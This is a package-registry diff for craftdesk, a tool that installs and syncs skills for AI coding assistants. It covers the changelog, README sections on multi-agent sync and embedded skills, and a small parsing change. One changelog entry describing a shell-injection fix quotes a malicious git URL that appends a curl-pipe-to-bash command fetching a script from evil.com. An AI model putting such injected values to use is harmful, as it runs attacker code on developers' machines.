craftdesk 0.4.0 → 0.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (77) hide show
  1. package/CHANGELOG.md +39 -0
  2. package/README.md +584 -4
  3. package/dist/commands/add.js +19 -6
  4. package/dist/commands/add.js.map +1 -1
  5. package/dist/commands/detect-agents.d.ts +14 -0
  6. package/dist/commands/detect-agents.d.ts.map +1 -0
  7. package/dist/commands/detect-agents.js +86 -0
  8. package/dist/commands/detect-agents.js.map +1 -0
  9. package/dist/commands/embed.d.ts +14 -0
  10. package/dist/commands/embed.d.ts.map +1 -0
  11. package/dist/commands/embed.js +147 -0
  12. package/dist/commands/embed.js.map +1 -0
  13. package/dist/commands/list.js +4 -1
  14. package/dist/commands/list.js.map +1 -1
  15. package/dist/commands/outdated.js +2 -2
  16. package/dist/commands/outdated.js.map +1 -1
  17. package/dist/commands/publish.js +5 -0
  18. package/dist/commands/publish.js.map +1 -1
  19. package/dist/commands/setup-multi-agent.d.ts +17 -0
  20. package/dist/commands/setup-multi-agent.d.ts.map +1 -0
  21. package/dist/commands/setup-multi-agent.js +188 -0
  22. package/dist/commands/setup-multi-agent.js.map +1 -0
  23. package/dist/commands/sync.d.ts +14 -0
  24. package/dist/commands/sync.d.ts.map +1 -0
  25. package/dist/commands/sync.js +144 -0
  26. package/dist/commands/sync.js.map +1 -0
  27. package/dist/commands/unembed.d.ts +14 -0
  28. package/dist/commands/unembed.d.ts.map +1 -0
  29. package/dist/commands/unembed.js +96 -0
  30. package/dist/commands/unembed.js.map +1 -0
  31. package/dist/commands/update.js +6 -3
  32. package/dist/commands/update.js.map +1 -1
  33. package/dist/commands/verify.d.ts +14 -0
  34. package/dist/commands/verify.d.ts.map +1 -0
  35. package/dist/commands/verify.js +143 -0
  36. package/dist/commands/verify.js.map +1 -0
  37. package/dist/index.js +24 -1
  38. package/dist/index.js.map +1 -1
  39. package/dist/services/agent-detector.d.ts +57 -0
  40. package/dist/services/agent-detector.d.ts.map +1 -0
  41. package/dist/services/agent-detector.js +146 -0
  42. package/dist/services/agent-detector.js.map +1 -0
  43. package/dist/services/config-manager.d.ts.map +1 -1
  44. package/dist/services/config-manager.js +3 -2
  45. package/dist/services/config-manager.js.map +1 -1
  46. package/dist/services/craft-wrapper.d.ts.map +1 -1
  47. package/dist/services/craft-wrapper.js +2 -1
  48. package/dist/services/craft-wrapper.js.map +1 -1
  49. package/dist/services/git-resolver.d.ts.map +1 -1
  50. package/dist/services/git-resolver.js +20 -11
  51. package/dist/services/git-resolver.js.map +1 -1
  52. package/dist/services/gitignore-manager.d.ts +74 -0
  53. package/dist/services/gitignore-manager.d.ts.map +1 -0
  54. package/dist/services/gitignore-manager.js +188 -0
  55. package/dist/services/gitignore-manager.js.map +1 -0
  56. package/dist/services/installer.d.ts +9 -0
  57. package/dist/services/installer.d.ts.map +1 -1
  58. package/dist/services/installer.js +53 -9
  59. package/dist/services/installer.js.map +1 -1
  60. package/dist/services/multi-agent-sync.d.ts +88 -0
  61. package/dist/services/multi-agent-sync.d.ts.map +1 -0
  62. package/dist/services/multi-agent-sync.js +316 -0
  63. package/dist/services/multi-agent-sync.js.map +1 -0
  64. package/dist/services/plugin-resolver.d.ts.map +1 -1
  65. package/dist/services/plugin-resolver.js +2 -1
  66. package/dist/services/plugin-resolver.js.map +1 -1
  67. package/dist/types/craftdesk-json.d.ts +13 -0
  68. package/dist/types/craftdesk-json.d.ts.map +1 -1
  69. package/dist/types/multi-agent.d.ts +85 -0
  70. package/dist/types/multi-agent.d.ts.map +1 -0
  71. package/dist/types/multi-agent.js +6 -0
  72. package/dist/types/multi-agent.js.map +1 -0
  73. package/dist/utils/version-utils.d.ts +6 -0
  74. package/dist/utils/version-utils.d.ts.map +1 -1
  75. package/dist/utils/version-utils.js +58 -4
  76. package/dist/utils/version-utils.js.map +1 -1
  77. package/package.json +1 -1
package/CHANGELOG.md CHANGED
@@ -2,6 +2,45 @@
2
2
 
3
3
  All notable changes to this project will be documented in this file.
4
4
 
5
+ ## 0.5.1 (2026-02-24)
6
+
7
+ ### Fixed
8
+ - **Version reporting**: `craftdesk --version` now reads from package.json instead of hardcoded value [#46](https://github.com/mensfeld/craftdesk/issues/46)
9
+ - **Git subdirectory naming**: Skills from git subdirectories now use the path name instead of repo name [#47](https://github.com/mensfeld/craftdesk/issues/47)
10
+ - **CI**: Added version consistency check to prevent future mismatches
11
+ - **Tests**: Limited vitest parallelism to prevent resource exhaustion
12
+
13
+ ## 0.5.0 (2026-02-09)
14
+
15
+ ### Added
16
+ - **Multi-Agent Sync**: Sync skills across multiple AI coding assistants
17
+ - Auto-detect AI agents (Claude Code, Cursor, Windsurf, Continue.dev, etc.)
18
+ - Configure canonical location and sync targets in craftdesk.json
19
+ - Checksum-based verification to detect drift between copies
20
+ - New commands:
21
+ - `craftdesk setup-multi-agent` - Interactive multi-agent configuration
22
+ - `craftdesk detect-agents` - Detect installed AI coding assistants
23
+ - `craftdesk sync` - Sync crafts to all configured agents
24
+ - `craftdesk verify` - Verify sync status with checksum validation
25
+ - Auto-sync on install when enabled
26
+ - Support for copy-based sync (no symlinks, Windows-compatible)
27
+ - Comprehensive test coverage (unit + integration tests)
28
+
29
+ - **Embedded/Local Skills**: Hybrid skill management with committed and managed skills
30
+ - Support for project-specific skills committed to git alongside managed dependencies
31
+ - New commands:
32
+ - `craftdesk embed <name>` - Register a local skill as embedded (committed to git)
33
+ - `craftdesk unembed <name>` - Unregister an embedded skill (with optional `--remove` flag)
34
+ - Auto-generated `.claude/skills/.gitignore` to ignore managed skills and allow embedded ones
35
+ - Orphan detection for skills not tracked in either craftdesk.json or craftdesk.lock
36
+ - Integration with multi-agent sync (embedded skills auto-sync to other agents)
37
+ - List command shows 📌 badge for embedded skills
38
+ - Complete documentation with workflows and best practices
39
+ - 42 comprehensive tests (unit + integration + service)
40
+
41
+ ### Fixed
42
+ - **Security**: Fixed shell injection vulnerability in git operations where malicious dependency URLs could execute arbitrary commands (e.g., `https://evil.com/repo.git; curl https://evil.com/steal.sh | bash`). Replaced `execSync()` with `execFileSync()` to prevent shell interpretation of metacharacters in git URLs, branch names, tag names, and commit hashes. Thanks to @ysamlan for the fix! [#40](https://github.com/mensfeld/craftdesk/pull/40)
43
+
5
44
  ## 0.4.0 (2026-01-26)
6
45
 
7
46
  ### Added
package/README.md CHANGED
@@ -17,6 +17,7 @@ CraftDesk is a package manager for AI capabilities used in Claude Code and other
17
17
  - **Install AI skills, agents, commands, hooks, plugins, and collections** from git repositories or registries
18
18
  - **Collections** - Curate and share groups of related crafts that work together
19
19
  - **Plugin system** - Bundle multiple crafts with automatic dependency resolution
20
+ - **Multi-agent sync** - Share skills across multiple AI assistants (Claude, Cursor, Windsurf, etc.)
20
21
  - **Lock versions** for reproducible environments across teams
21
22
  - **Manage dependencies** with automatic recursive installation
22
23
  - **Support monorepos** with subdirectory extraction
@@ -45,7 +46,7 @@ npm install -g craftdesk
45
46
  Verify installation:
46
47
  ```bash
47
48
  craftdesk --version
48
- # 0.3.0
49
+ # x.y.z
49
50
  ```
50
51
 
51
52
  **Requirements:** Node.js >= 18.0.0, Git, npm or yarn
@@ -130,6 +131,9 @@ Total: 2 crafts installed
130
131
  - [outdated](#craftdesk-outdated)
131
132
  - [update](#craftdesk-update-craft)
132
133
  - [publish](#craftdesk-publish-options)
134
+ - [Embedded/Local Skills](#embeddedlocal-skills)
135
+ - [embed](#craftdesk-embed-name-options)
136
+ - [unembed](#craftdesk-unembed-name-options)
133
137
  - [Authentication](#authentication)
134
138
  - [login](#craftdesk-login-options)
135
139
  - [logout](#craftdesk-logout-options)
@@ -299,6 +303,403 @@ jobs:
299
303
  3. **Update together** - Convert after each craft update
300
304
  4. **Version control** - Commit both source and converted formats
301
305
 
306
+ ### Multi-Agent Sync
307
+
308
+ **Share skills across multiple AI coding assistants** - Sync your crafts to Claude Code, Cursor, Windsurf, Continue.dev, and more with automatic copy management and drift detection.
309
+
310
+ **Why use multi-agent sync?**
311
+ - **Single source of truth** - Maintain skills in one location (`.claude/skills/`)
312
+ - **Cross-editor compatibility** - Use the same skills in Claude, Cursor, Windsurf, etc.
313
+ - **Team flexibility** - Developers can use their preferred AI assistant
314
+ - **Automatic sync** - Install once, sync everywhere
315
+ - **Drift detection** - SHA-256 checksums detect modifications
316
+ - **Windows compatible** - Copy-based (no symlinks required)
317
+
318
+ **Quick Start:**
319
+
320
+ ```bash
321
+ # 1. Interactive setup (recommended)
322
+ craftdesk setup-multi-agent
323
+
324
+ # 2. Detect available AI assistants
325
+ craftdesk detect-agents
326
+
327
+ # 3. Sync all crafts to configured agents
328
+ craftdesk sync
329
+
330
+ # 4. Verify sync status (check for drift)
331
+ craftdesk verify
332
+ ```
333
+
334
+ **Configuration:**
335
+
336
+ Add to your `craftdesk.json`:
337
+
338
+ ```json
339
+ {
340
+ "name": "my-project",
341
+ "version": "1.0.0",
342
+ "dependencies": {
343
+ "ruby-expert": "^1.0.0"
344
+ },
345
+ "multiAgent": {
346
+ "enabled": true,
347
+ "canonical": ".claude",
348
+ "targets": [
349
+ ".claude/skills",
350
+ ".cursor/skills",
351
+ ".windsurf/skills"
352
+ ],
353
+ "autoSync": true
354
+ }
355
+ }
356
+ ```
357
+
358
+ **How it works:**
359
+
360
+ 1. **Canonical Location** - Skills are installed to `.claude/skills/` (source of truth)
361
+ 2. **Target Directories** - Copies are created in `.cursor/skills/`, `.windsurf/skills/`, etc.
362
+ 3. **Checksum Tracking** - Each copy has a `.craftdesk-checksum` file (SHA-256)
363
+ 4. **Drift Detection** - `craftdesk verify` compares checksums to detect modifications
364
+ 5. **Re-sync** - `craftdesk sync` updates all copies from canonical
365
+
366
+ **Example Workflow:**
367
+
368
+ ```bash
369
+ # Install a new skill
370
+ craftdesk add git+https://github.com/user/ruby-expert.git
371
+
372
+ # Skills auto-sync to all agents (if autoSync: true)
373
+ # ✓ Installed to .claude/skills/ruby-expert
374
+ # ✓ Synced to .cursor/skills/ruby-expert
375
+ # ✓ Synced to .windsurf/skills/ruby-expert
376
+
377
+ # Verify everything is in sync
378
+ craftdesk verify
379
+ # ✅ All 3 craft(s) are in sync!
380
+
381
+ # Later, check for drift
382
+ craftdesk verify
383
+ # ⚠️ ruby-expert
384
+ # Out of sync: .cursor/skills/ruby-expert (modified)
385
+
386
+ # Re-sync to fix drift
387
+ craftdesk sync --craft ruby-expert
388
+ # ✅ Synced ruby-expert to 3 location(s)
389
+ ```
390
+
391
+ **Supported AI Assistants:**
392
+
393
+ | Assistant | Directory | Auto-Detected |
394
+ |-----------|-----------|---------------|
395
+ | **Claude Code** | `.claude/skills/` | ✅ Always enabled (canonical) |
396
+ | **Cursor** | `.cursor/skills/` | ✅ Yes |
397
+ | **Windsurf** | `.windsurf/skills/` | ✅ Yes |
398
+ | **Continue.dev** | `.continue/skills/` | ✅ Yes |
399
+ | **Generic .agents** | `.agents/skills/` | ✅ Yes |
400
+
401
+ **Commands:**
402
+
403
+ ```bash
404
+ # Setup wizard (interactive)
405
+ craftdesk setup-multi-agent
406
+
407
+ # Detect AI assistants in project
408
+ craftdesk detect-agents
409
+ craftdesk detect-agents --verbose
410
+ craftdesk detect-agents --format json
411
+
412
+ # Sync all crafts to all targets
413
+ craftdesk sync
414
+ craftdesk sync --craft ruby-expert # Sync specific craft
415
+ craftdesk sync --dry-run # Preview changes
416
+ craftdesk sync --force # Force re-sync
417
+
418
+ # Verify sync status
419
+ craftdesk verify
420
+ craftdesk verify --craft ruby-expert # Verify specific craft
421
+ craftdesk verify --verbose # Show checksums
422
+ craftdesk verify --format json # JSON output
423
+ ```
424
+
425
+ **Best Practices:**
426
+
427
+ 1. **Use canonical as source of truth** - Always edit skills in `.claude/skills/`
428
+ 2. **Enable autoSync** - New installs automatically sync to all agents
429
+ 3. **Run verify regularly** - Check for drift, especially in teams
430
+ 4. **Sync after manual edits** - If you edit a skill, run `craftdesk sync`
431
+ 5. **Commit canonical only** - Add target directories to `.gitignore`
432
+
433
+ **gitignore Example:**
434
+
435
+ ```gitignore
436
+ # Only track canonical location
437
+ .cursor/skills/*
438
+ .windsurf/skills/*
439
+ .continue/skills/*
440
+
441
+ # Track canonical
442
+ !.claude/skills/
443
+ ```
444
+
445
+ **Why copy instead of symlinks?**
446
+
447
+ We use copy-based sync instead of symlinks for maximum compatibility:
448
+ - ✅ **Windows compatible** - No admin privileges or Developer Mode required
449
+ - ✅ **Git-friendly** - No `core.symlinks` complications
450
+ - ✅ **Reliable** - Works consistently across all platforms
451
+ - ✅ **Simple** - Easy to understand and debug
452
+ - ✅ **Verifiable** - Checksums detect any modifications
453
+
454
+ ---
455
+
456
+ ### Embedded/Local Skills
457
+
458
+ **Commit project-specific skills to your repository** alongside managed dependencies for a hybrid approach to skill management.
459
+
460
+ **What are embedded skills?**
461
+
462
+ Embedded skills are local, project-specific AI capabilities that are:
463
+ - ✅ **Committed to git** - Part of your repository, versioned with your code
464
+ - ✅ **Project-specific** - Custom skills unique to your project
465
+ - ✅ **Team-shared** - Distributed via `git clone` (not `craftdesk install`)
466
+ - ✅ **Auto-synced** - Sync to other AI assistants with multi-agent support
467
+ - ⚠️ **Not managed** - No version updates via `craftdesk update`
468
+
469
+ **When to embed vs. manage:**
470
+
471
+ | Use Case | Embedded | Managed (dependencies) |
472
+ |----------|----------|------------------------|
473
+ | Project-specific business logic | ✅ | ❌ |
474
+ | Custom team workflows | ✅ | ❌ |
475
+ | Proprietary domain knowledge | ✅ | ❌ |
476
+ | Shared/reusable skills | ❌ | ✅ |
477
+ | Skills that need updates | ❌ | ✅ |
478
+ | Skills from registry/git repos | ❌ | ✅ |
479
+
480
+ **Quick Start:**
481
+
482
+ ```bash
483
+ # 1. Create a local skill manually
484
+ mkdir -p .claude/skills/my-project-skill
485
+ cat > .claude/skills/my-project-skill/SKILL.md <<EOF
486
+ ---
487
+ skill: my-project-skill
488
+ version: 1.0.0
489
+ ---
490
+ # My Project Skill
491
+
492
+ Project-specific knowledge about our custom architecture...
493
+ EOF
494
+
495
+ # 2. Register it as embedded
496
+ craftdesk embed my-project-skill
497
+
498
+ # 3. Commit to git
499
+ git add .claude/skills/my-project-skill craftdesk.json
500
+ git commit -m "Add my-project-skill as embedded skill"
501
+
502
+ # Team members get it via git clone (not craftdesk install!)
503
+ ```
504
+
505
+ **Configuration:**
506
+
507
+ Your `craftdesk.json` tracks embedded skills separately from dependencies:
508
+
509
+ ```json
510
+ {
511
+ "name": "my-project",
512
+ "version": "1.0.0",
513
+ "dependencies": {
514
+ "ruby-expert": "^1.0.0", // Managed, from registry
515
+ "postgres-expert": "^2.0.0" // Managed, from git
516
+ },
517
+ "embedded": [
518
+ "my-project-skill", // Embedded, committed to git
519
+ "team-coding-standards" // Embedded, team-specific
520
+ ]
521
+ }
522
+ ```
523
+
524
+ **How .gitignore works:**
525
+
526
+ CraftDesk automatically generates `.claude/skills/.gitignore` to:
527
+ - ✅ **Ignore managed skills** - Not committed (installed via `craftdesk install`)
528
+ - ✅ **Allow embedded skills** - Committed with your code
529
+ - ✅ **Track orphans** - Skills not in either list (commented warnings)
530
+
531
+ Example generated `.gitignore`:
532
+
533
+ ```gitignore
534
+ # Auto-generated by CraftDesk - DO NOT EDIT
535
+ # This file is managed automatically based on craftdesk.json and craftdesk.lock
536
+
537
+ # Managed dependencies (from craftdesk.lock)
538
+ # These are installed via `craftdesk install` and should not be committed
539
+ postgres-expert/
540
+ ruby-expert/
541
+
542
+ # Embedded/local skills (committed to git)
543
+ # These are project-specific and should be committed
544
+ # NOT ignored: my-project-skill/
545
+ # NOT ignored: team-coding-standards/
546
+
547
+ # Untracked (not in craftdesk.json or craftdesk.lock)
548
+ # Add these to dependencies or embedded list, or delete them
549
+ # orphaned-old-skill/
550
+ ```
551
+
552
+ **Commands:**
553
+
554
+ #### `craftdesk embed <name> [options]`
555
+
556
+ Register a skill as embedded (committed to git).
557
+
558
+ **Options:**
559
+ - `--type <type>` - Craft type: skill, agent, command, hook (default: skill)
560
+ - `--skip-sync` - Skip multi-agent sync after embedding
561
+
562
+ **Examples:**
563
+
564
+ ```bash
565
+ # Embed a skill
566
+ craftdesk embed my-local-skill
567
+
568
+ # Embed an agent
569
+ craftdesk embed my-automation-agent --type agent
570
+
571
+ # Embed without syncing to other agents
572
+ craftdesk embed team-workflow --skip-sync
573
+ ```
574
+
575
+ **What happens:**
576
+ 1. ✅ Adds skill to `craftdesk.json` `embedded` array
577
+ 2. ✅ Updates `.claude/skills/.gitignore` to allow the skill
578
+ 3. ✅ Syncs to other AI assistants (if multi-agent enabled)
579
+
580
+ **Requirements:**
581
+ - Skill directory must exist (`.claude/skills/my-local-skill/`)
582
+ - Cannot embed a managed dependency (remove from `dependencies` first)
583
+ - Cannot embed the same skill twice
584
+
585
+ ---
586
+
587
+ #### `craftdesk unembed <name> [options]`
588
+
589
+ Unregister an embedded skill (no longer committed).
590
+
591
+ **Options:**
592
+ - `--remove` - Also delete the skill files from disk
593
+
594
+ **Examples:**
595
+
596
+ ```bash
597
+ # Unembed a skill (files remain on disk)
598
+ craftdesk unembed my-local-skill
599
+
600
+ # Unembed and delete files
601
+ craftdesk unembed old-skill --remove
602
+ ```
603
+
604
+ **What happens:**
605
+ 1. ✅ Removes skill from `craftdesk.json` `embedded` array
606
+ 2. ✅ Updates `.claude/skills/.gitignore` (skill becomes orphaned)
607
+ 3. ⚠️ Skill files remain unless `--remove` is used
608
+
609
+ **After unembedding:**
610
+ - Skill becomes "orphaned" (commented in `.gitignore`)
611
+ - Manually delete files or re-embed it
612
+ - Or add it to `dependencies` to manage it
613
+
614
+ ---
615
+
616
+ **Workflow Examples:**
617
+
618
+ **1. Create and embed a new skill:**
619
+
620
+ ```bash
621
+ # Create skill directory and file
622
+ mkdir -p .claude/skills/deployment-guide
623
+ cat > .claude/skills/deployment-guide/SKILL.md <<'EOF'
624
+ ---
625
+ skill: deployment-guide
626
+ version: 1.0.0
627
+ ---
628
+ # Deployment Guide
629
+
630
+ Our custom deployment process...
631
+ EOF
632
+
633
+ # Embed it
634
+ craftdesk embed deployment-guide
635
+
636
+ # Commit
637
+ git add .claude/skills/deployment-guide craftdesk.json
638
+ git commit -m "Add deployment-guide skill"
639
+ ```
640
+
641
+ **2. Convert managed skill to embedded:**
642
+
643
+ ```bash
644
+ # You have: ruby-expert@1.0.0 (from registry)
645
+ # You want: Modify it and commit to your repo
646
+
647
+ # 1. Remove from dependencies
648
+ craftdesk remove ruby-expert
649
+
650
+ # 2. Skill files are now orphaned (but still on disk)
651
+
652
+ # 3. Embed it
653
+ craftdesk embed ruby-expert
654
+
655
+ # 4. Commit your customized version
656
+ git add .claude/skills/ruby-expert craftdesk.json
657
+ git commit -m "Embed ruby-expert with custom modifications"
658
+ ```
659
+
660
+ **3. List and identify embedded skills:**
661
+
662
+ ```bash
663
+ craftdesk list
664
+
665
+ # Output shows embedded badge:
666
+ # 📚 Skills:
667
+ # ruby-expert@1.0.0
668
+ # postgres-expert@2.0.0
669
+ # my-project-skill@1.0.0 📌 (embedded)
670
+ # team-workflow@1.0.0 📌 (embedded)
671
+ ```
672
+
673
+ **4. Team collaboration:**
674
+
675
+ ```bash
676
+ # Developer A: Creates and embeds skill
677
+ craftdesk embed new-feature-guide
678
+ git add .claude/skills/new-feature-guide craftdesk.json .claude/skills/.gitignore
679
+ git commit -m "Add new-feature-guide"
680
+ git push
681
+
682
+ # Developer B: Pulls and gets skill automatically
683
+ git pull
684
+ # ✅ Skill is ready to use (no craftdesk install needed!)
685
+
686
+ # Multi-agent sync works too (if enabled)
687
+ craftdesk verify
688
+ # ✅ new-feature-guide synced to .cursor/skills/
689
+ # ✅ new-feature-guide synced to .windsurf/skills/
690
+ ```
691
+
692
+ **Best Practices:**
693
+
694
+ 1. **Use embedded for project-specific knowledge** - Custom workflows, business logic, proprietary info
695
+ 2. **Use managed for reusable skills** - Generic skills that can be shared across projects
696
+ 3. **Always commit .gitignore** - CraftDesk auto-generates it, keep it in git
697
+ 4. **Document embedded skills** - Add README explaining their purpose
698
+ 5. **Version embedded skills** - Update version in skill frontmatter when modified
699
+ 6. **Verify multi-agent sync** - Run `craftdesk verify` after embedding
700
+
701
+ ---
702
+
302
703
  ### Collections
303
704
 
304
705
  **Collections** are crafts that group related capabilities together. Instead of installing 6 individual crafts, install one collection that includes all of them.
@@ -930,6 +1331,185 @@ craftdesk publish --visibility organization
930
1331
 
931
1332
  ---
932
1333
 
1334
+ ### `craftdesk setup-multi-agent [options]`
1335
+
1336
+ Interactive wizard to configure multi-agent sync.
1337
+
1338
+ **Options:**
1339
+ - `--auto-sync` - Enable automatic sync on install/update
1340
+ - `--skip-sync` - Skip initial sync after setup
1341
+
1342
+ **Examples:**
1343
+ ```bash
1344
+ # Interactive setup (recommended)
1345
+ craftdesk setup-multi-agent
1346
+
1347
+ # Setup with auto-sync enabled
1348
+ craftdesk setup-multi-agent --auto-sync
1349
+
1350
+ # Setup without initial sync
1351
+ craftdesk setup-multi-agent --skip-sync
1352
+ ```
1353
+
1354
+ **What it does:**
1355
+ 1. Detects AI coding assistants in your project
1356
+ 2. Lets you choose which agents to sync to
1357
+ 3. Updates `craftdesk.json` with multiAgent configuration
1358
+ 4. Optionally performs initial sync of existing crafts
1359
+
1360
+ ---
1361
+
1362
+ ### `craftdesk detect-agents [options]`
1363
+
1364
+ Detect AI coding assistants installed in the project.
1365
+
1366
+ **Options:**
1367
+ - `-v, --verbose` - Show detailed detection information
1368
+ - `-f, --format <format>` - Output format: text or json (default: text)
1369
+
1370
+ **Examples:**
1371
+ ```bash
1372
+ # Detect agents
1373
+ craftdesk detect-agents
1374
+
1375
+ # Verbose output
1376
+ craftdesk detect-agents --verbose
1377
+
1378
+ # JSON output for scripting
1379
+ craftdesk detect-agents --format json
1380
+ ```
1381
+
1382
+ **Example output:**
1383
+ ```
1384
+ 🔍 AI Coding Assistant Detection
1385
+
1386
+ Detected Agents:
1387
+ ✓ Claude Code
1388
+ Directory: .claude/skills
1389
+ Status: ✅ Enabled
1390
+
1391
+ ○ Cursor
1392
+ Directory: .cursor/skills
1393
+ Status: ⚪ Available
1394
+
1395
+ Summary:
1396
+ Detected: 2 agent(s)
1397
+ Enabled: 1 agent(s)
1398
+
1399
+ 💡 Tip:
1400
+ You have multiple agents but sync is only enabled for one.
1401
+ Run `craftdesk setup-multi-agent` to sync across all agents.
1402
+ ```
1403
+
1404
+ ---
1405
+
1406
+ ### `craftdesk sync [options]`
1407
+
1408
+ Sync crafts to all configured AI agents.
1409
+
1410
+ **Options:**
1411
+ - `-c, --craft <name>` - Sync specific craft by name
1412
+ - `-f, --force` - Force sync even if checksums match
1413
+ - `--dry-run` - Show what would be synced without making changes
1414
+
1415
+ **Examples:**
1416
+ ```bash
1417
+ # Sync all crafts
1418
+ craftdesk sync
1419
+
1420
+ # Sync specific craft
1421
+ craftdesk sync --craft ruby-expert
1422
+
1423
+ # Dry run (preview changes)
1424
+ craftdesk sync --dry-run
1425
+
1426
+ # Force sync
1427
+ craftdesk sync --force
1428
+ ```
1429
+
1430
+ **What it does:**
1431
+ 1. Reads multiAgent configuration from craftdesk.json
1432
+ 2. Copies crafts from canonical location to all targets
1433
+ 3. Calculates and stores SHA-256 checksums
1434
+ 4. Reports sync status for each location
1435
+
1436
+ **Example output:**
1437
+ ```
1438
+ ✅ Synced 5 craft(s)
1439
+
1440
+ ✓ ruby-expert: 3 location(s)
1441
+ ✓ python-expert: 3 location(s)
1442
+ ✓ postgres-expert: 3 location(s)
1443
+ ✓ docker-expert: 3 location(s)
1444
+ ✓ git-expert: 3 location(s)
1445
+
1446
+ Summary:
1447
+ Total synced: 15 location(s)
1448
+ ```
1449
+
1450
+ ---
1451
+
1452
+ ### `craftdesk verify [options]`
1453
+
1454
+ Verify sync status of crafts across AI agents using checksum validation.
1455
+
1456
+ **Options:**
1457
+ - `-c, --craft <name>` - Verify specific craft by name
1458
+ - `-v, --verbose` - Show detailed checksum information
1459
+ - `-f, --format <format>` - Output format: text or json (default: text)
1460
+
1461
+ **Examples:**
1462
+ ```bash
1463
+ # Verify all crafts
1464
+ craftdesk verify
1465
+
1466
+ # Verify specific craft
1467
+ craftdesk verify --craft ruby-expert
1468
+
1469
+ # Verbose output with checksums
1470
+ craftdesk verify --verbose
1471
+
1472
+ # JSON output
1473
+ craftdesk verify --format json
1474
+ ```
1475
+
1476
+ **What it does:**
1477
+ 1. Reads multiAgent configuration
1478
+ 2. Calculates SHA-256 checksums for all copies
1479
+ 3. Compares checksums to detect drift
1480
+ 4. Reports which copies are in sync vs. out of sync
1481
+
1482
+ **Example output (in sync):**
1483
+ ```
1484
+ 🔍 Sync Status: All Crafts
1485
+
1486
+ Summary:
1487
+ Total crafts: 5
1488
+ In sync: 5
1489
+ Out of sync: 0
1490
+
1491
+ ✅ All 5 craft(s) are in sync!
1492
+ ```
1493
+
1494
+ **Example output (drift detected):**
1495
+ ```
1496
+ 🔍 Sync Status: All Crafts
1497
+
1498
+ Summary:
1499
+ Total crafts: 5
1500
+ In sync: 4
1501
+ Out of sync: 1
1502
+
1503
+ ❌ Out of Sync (1):
1504
+
1505
+ ruby-expert
1506
+ ⚠️ .cursor/skills/ruby-expert (modified)
1507
+
1508
+ 💡 Run `craftdesk sync` to fix all issues
1509
+ ```
1510
+
1511
+ ---
1512
+
933
1513
  ## Authentication
934
1514
 
935
1515
  CraftDesk supports authenticated access to private registries.
@@ -1582,9 +2162,9 @@ CraftDesk uses automated NPM publishing via GitHub Actions with provenance attes
1582
2162
 
1583
2163
  **Quick release:**
1584
2164
  ```bash
1585
- ./scripts/release.sh patch # 0.3.0 → 0.3.1
1586
- ./scripts/release.sh minor # 0.3.0 → 0.4.0
1587
- ./scripts/release.sh major # 0.3.0 → 1.0.0
2165
+ ./scripts/release.sh patch # x.y.z → x.y.(z+1)
2166
+ ./scripts/release.sh minor # x.y.z → x.(y+1).0
2167
+ ./scripts/release.sh major # x.y.z → (x+1).0.0
1588
2168
  ```
1589
2169
 
1590
2170
  The script will:
@@ -186,11 +186,13 @@ async function addCommand(craftArg, options) {
186
186
  depField = 'dependencies';
187
187
  }
188
188
  // Initialize field if it doesn't exist
189
+ // Initialize dependencies field if it doesn't exist
189
190
  if (!craftDeskJson[depField]) {
190
191
  craftDeskJson[depField] = {};
191
192
  }
192
- // Add to craftdesk.json
193
- craftDeskJson[depField][craftName] = depValue;
193
+ // Add to craftdesk.json (depField is guaranteed to exist after initialization)
194
+ const deps = craftDeskJson[depField];
195
+ deps[craftName] = depValue;
194
196
  // Save craftdesk.json
195
197
  await (0, file_system_1.writeCraftDeskJson)(craftDeskJson);
196
198
  const displayVersion = typeof depValue === 'string' ? depValue : (depValue.tag || depValue.branch || 'git');
@@ -347,10 +349,21 @@ function parseGitUrl(urlString) {
347
349
  }
348
350
  }
349
351
  result.url = url;
350
- // Extract repository name from URL for display purposes
351
- const match = url.match(/\/([^/]+?)(\.git)?$/);
352
- if (match) {
353
- result.name = match[1];
352
+ // Determine the name based on path, file, or repo name (in priority order)
353
+ if (result.path) {
354
+ // Use the last segment of the subdirectory path as the name
355
+ result.name = path_1.default.basename(result.path);
356
+ }
357
+ else if (result.file) {
358
+ // Use the filename without extension as the name
359
+ result.name = path_1.default.basename(result.file, path_1.default.extname(result.file));
360
+ }
361
+ else {
362
+ // Fall back to extracting repository name from URL
363
+ const match = url.match(/\/([^/]+?)(\.git)?$/);
364
+ if (match) {
365
+ result.name = match[1];
366
+ }
354
367
  }
355
368
  return result;
356
369
  }